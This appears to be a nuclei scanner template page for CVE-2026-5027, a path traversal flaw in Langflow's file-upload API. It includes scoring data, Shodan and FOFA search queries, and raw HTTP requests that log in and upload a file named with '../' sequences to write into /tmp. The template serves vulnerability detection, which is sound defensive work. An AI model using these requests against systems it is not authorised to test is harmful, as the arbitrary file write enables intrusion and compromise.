CVE-2026-5027: Langflow <= 1.8.4 - Path Traversal to RCE via File Upload
- Template: CVE-2026-5027
- Name: Langflow <= 1.8.4 - Path Traversal to RCE via File Upload
- Description: The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.
- Impact: Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
- Remediation: Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.
- Severity: high
- Authors: pussycat0x
- Tags: cve, cve2026, langflow, lfi, intrusive, vkev
- References: https://github.com/langflow-ai/langflow/pull/12227, https://github.com/0xBlackash/CVE-2026-5027, https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c
- Cves: CVE-2026-5027
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-5027.yaml
- Digest: 490a0046304402207e88a74498edb67fabab446edd359d2b6420b514c66665d8734ee4cc1c62a8be022023906e7bdad03eba5499195d78e10b95cdc79649254c352d997d5efd24ce65d3
- Created at: 2026-06-10T10:42:18Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 167
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-5027.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-22
- Cvss score: 8.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.41123
- Epss percentile: 0.98697
- Not known: cpe
Metadata
- Fofa-query: title="Langflow"
- Max-request: 2
- Product: langflow
- Shodan-query: title:"Langflow"
- Vendor: langflow-ai
Products
| Product | Indexed | Url |
|---|---|---|
| langflow-ai:langflow | no | — |
Labels
- Name: Application - Path Traversal
- Impact: Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
- Remediation: Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.
- Vulnerability type: path_traversal
- Vulnerability impact: file_system_write, data_tampering
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-5027
- Not known: requirements
```yaml
id: CVE-2026-5027
info:
name: Langflow <= 1.8.4 - Path Traversal to RCE via File Upload
author: pussycat0x
severity: high
description: |
The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.
impact: |
Attackers can write files to arbitrary locations, potentially leading to system compromise or data tampering.
remediation: |
Sanitize the 'filename' parameter to prevent path traversal or update to the latest secure version.
reference:
- https://github.com/langflow-ai/langflow/pull/12227
- https://github.com/0xBlackash/CVE-2026-5027
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-5027
epss-score: 0.41123
epss-percentile: 0.98697
cwe-id: CWE-22
metadata:
max-request: 2
vendor: langflow-ai
product: langflow
shodan-query: title:"Langflow"
fofa-query: title="Langflow"
tags: cve,cve2026,langflow,lfi,intrusive,vkev
flow: http(1) || http(2)
http:
- raw:
- |
GET /api/v1/auto_login HTTP/1.1
Host: {{Hostname}}
Accept: application/json
- |
POST /api/v2/files HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{access_token}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650
------WebKitFormBoundarya3f2c8d9e7b14650
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../tmp/{{randstr}}.txt"
Content-Type: text/plain
{{randstr}}
------WebKitFormBoundarya3f2c8d9e7b14650--
matchers:
- type: dsl
dsl:
- "status_code_2 == 201"
- "contains_all(body_2, 'id','name','path')"
condition: and
extractors:
- type: json
name: access_token
part: body_1
json:
- ".access_token"
internal: true
- type: json
part: body_2
json:
- ".path"
- raw:
- |
POST /api/v1/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept: application/json
username={{username}}&password={{password}}
- |
POST /api/v2/files HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{access_token}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya3f2c8d9e7b14650
------WebKitFormBoundarya3f2c8d9e7b14650
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../tmp/{{randstr}}.txt"
Content-Type: text/plain
{{randstr}}
------WebKitFormBoundarya3f2c8d9e7b14650--
matchers:
- type: dsl
dsl:
- "status_code_2 == 201"
- "contains_all(body_2, 'id','name','path')"
condition: and
extractors:
- type: json
name: access_token
part: body_1
json:
- ".access_token"
internal: true
- type: json
part: body_2
json:
- ".path"
digest: 490a0046304402207e88a74498edb67fabab446edd359d2b6420b514c66665d8734ee4cc1c62a8be022023906e7bdad03eba5499195d78e10b95cdc79649254c352d997d5efd24ce65d3:922c64590222798bb761d5b6d8e72950
```